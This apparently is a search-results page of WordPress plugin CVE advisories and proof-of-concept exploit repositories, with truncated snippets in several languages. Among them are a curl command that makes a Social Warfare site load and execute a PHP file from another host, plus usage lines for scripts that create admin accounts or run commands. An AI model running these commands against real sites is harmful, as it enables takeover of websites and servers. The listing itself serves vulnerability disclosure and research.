92448 matches found
CVE-2025-13390
CVE-2025-13390 WP Directory Kit El plugin WP Directory Kit para WordPress es vulnerable a un bypass de autenticación en todas las versiones hasta la 1.4.4 inclusive debido a una implementación incorrecta del algoritmo de autenticación en la funciónwdkgenerateautologinlink. Esto se debe a que la...
CVE-2024-27956-RCE
CVE-2024-27956-RCE CVE-2024-27956のPoCです。ValvePress AutomaticプラグインにおけるSQLインジェクションです。このPoCは脆弱性を悪用し、ターゲットにユーザーを作成し、管理者権限を付与します。WordPressで管理者になると、リモートコード実行につながる可能性があります。 使い方 root@kitploit: git clone https://github.com/diego-tella/CVE-2024-27956-RCE/ cd CVE-2024-27956-RCE python exploit.py...
WordPress UsersWP plugin <= 1.2.70 - Authenticated (Subscriber+) Arbitrary File Deletion vulnerability
Authenticated Subscriber+ Arbitrary File Deletion vulnerability discovered by daroo in WordPress Plugin UsersWP versions = 1.2.70...
WORDPRESS-CVE-2024-25600-EXPLOIT-RCE
WORDPRESS-CVE-2024-25600-EXPLOIT-RCE WORDPRESS-CVE-2024-25600-EXPLOIT-RCE - WordPress Bricks Builder 远程代码执行RCE...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress 插件 RCE 无需任何预认证即可在 Social Warfare Wordpress 插件上实现 RCE 概念验证 root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 漏洞代码 ： 修复：...
CVE-2026-4484
CVE-2026-4484 Masteriyo LMS = 2.1.6 - 缺失授权导致已认证（学生+）权限提升至管理员 🔴 漏洞概述 CVE-2026-4484 — 已认证权限提升（学生 → 管理员） 描述： WordPress 的 Masteriyo LMS 插件在直至并包含 2.1.6 的所有版本中存在权限提升 漏洞。该漏洞源于 InstructorsController::prepareobjectfordatabase 函数，该函数在 REST API 请求期间未能正确限制角色分配。拥有低至学生级别 访问权限的已认证攻击者可以构造特制的 POST 请求发送至 Masteriyo...
CVE-2026-1375
CVE-2026-1375：Tutor LMS 插件中的已认证 IDOR / 失效的访问控制 免责声明： 本仓库仅用于教育目的和道德披露 。该漏洞已负责任地向供应商报告并已修补。请勿利用此信息在未经适当授权的情况下攻击系统。 摘要 在 WordPress 的 Tutor LMS 插件（版本 = 3.9.5）中发现了不安全的直接对象引用（IDOR）/ 失效的访问控制 漏洞。该缺陷允许拥有 Tutor 讲师 角色的低权限用户执行未经授权的批量操作，例如更改其他讲师或管理员所拥有课程的状态，或将其永久删除。 通过拦截合法的后端请求并篡改课程 ID...
Metasploit-Wordpress-Canto-Exploit-RCE
Metersploit 漏洞利用模块 canto RCE CVE-2024-25096 与 CVE-2023-3452 此漏洞利用是对 RFI 漏洞 CVE-2024-25096 和 CVE-2023-3452 的概念验证，可使攻击者在目标上建立交互式远程 Shell 会话。 CVE-2024-25096 滥用了 abspath 参数，通过 includeonce 语句实现远程文件包含。 CVE-2023-3452 的过程相同，不同之处在于 wpabspath 参数通过 requireonce 语句实现远程文件包含。 这允许攻击者在目标服务器上执行未经认证的代码。 尽管漏洞数据库将...
CVE-2024-50498
CVE-2024-50498 受影响版本 WP Query Console =1.0 致谢 https://github.com/RandomRobbieBF/CVE-2024-50498 前提条件 查询类型为 WPQuery，且 WP Query Console 执行一些 PHP 函数 用法 python .\CVE-2024-50498.py 192.168.41.163 --query "id"...
CVE-2025-6934
CVE-2025-6934 自动利用工具 ⚡ 概述 CVE-2025-6934 是一个概念验证（PoC）漏洞利用程序，针对 WordPress 插件：Opal Estate Pro ≤ 1.7.5 。 该利用程序演示了无需身份验证即可创建管理员账户 。 免责声明： 此 PoC 仅供教育目的使用。未经许可，请勿 在系统上使用。 🛠 功能特性 自动检测插件版本。 获取注册所需的 nonce。 无需身份验证即可创建新的管理员账户。 带有状态、成功、失败和信息消息的彩色控制台输出。 适用于 Python 3.x，且依赖极少。 ⚙️ 安装 1. 克隆仓库： root@kitploit: git...
CVE-2026-1357
CVE-2026-1357 -- WPvivid RCE Ejecución remota de código RCE no autenticada en WPvivid Backup & Migration 800%2C000-brightgreen?style=for-the-badge" alt="Installs" Vulnerabilidad crítica que afecta a más de 800 000–900 000+ sitios WordPress Subida arbitraria de PHP no autenticada → compromiso tota...
CVE-2025-10147
CVE-2025-10147 Podlove Podcast Publisher = 4.2.6 - 未经认证的任意文件上传 WordPress的Podlove Podcast Publisher插件在所有版本（包括4.2.6及之前）中，由于'moveasoriginalfile'函数缺少文件类型验证，存在任意文件上传漏洞。这使得未经认证的攻击者能够在受影响站点的服务器上上传任意文件，可能导致远程代码执行。 CVE CVE-2025-10147 CVSS 9.8（严重） 公开日期 2025年9月22日 最后更新 2025年9月23日 研究人员 Arkadiusz Hydzik 使用方法...
CVE-2023-4800
ID de CVE: CVE-2023-4800 Tipo de Vulnerabilidad: Exposición de datos sensibles Descripción: El plugin DoLogin Security para WordPress es vulnerable al acceso no autorizado de datos debido a una verificación de capacidad faltante en el widget del panel de administración en versiones hasta la 3.7...
CVE-2026-84821
Unauthenticated Broken Access Control in WP Fast Total Search = 1.82.284 versions...
CVE-2026-84819
Unauthenticated Cross Site Scripting XSS in WPAdverts = 2.3.3 versions...
CVE-2026-81801
Subscriber Settings Change in WP-Stateless = 4.4.1 versions...
CVE-2026-81796
Unauthenticated Broken Authentication in WP Travel = 12.0.3 versions...
CVE-2026-81787
Unauthenticated Broken Authentication in IMPress for IDX Broker = 3.3.0 versions...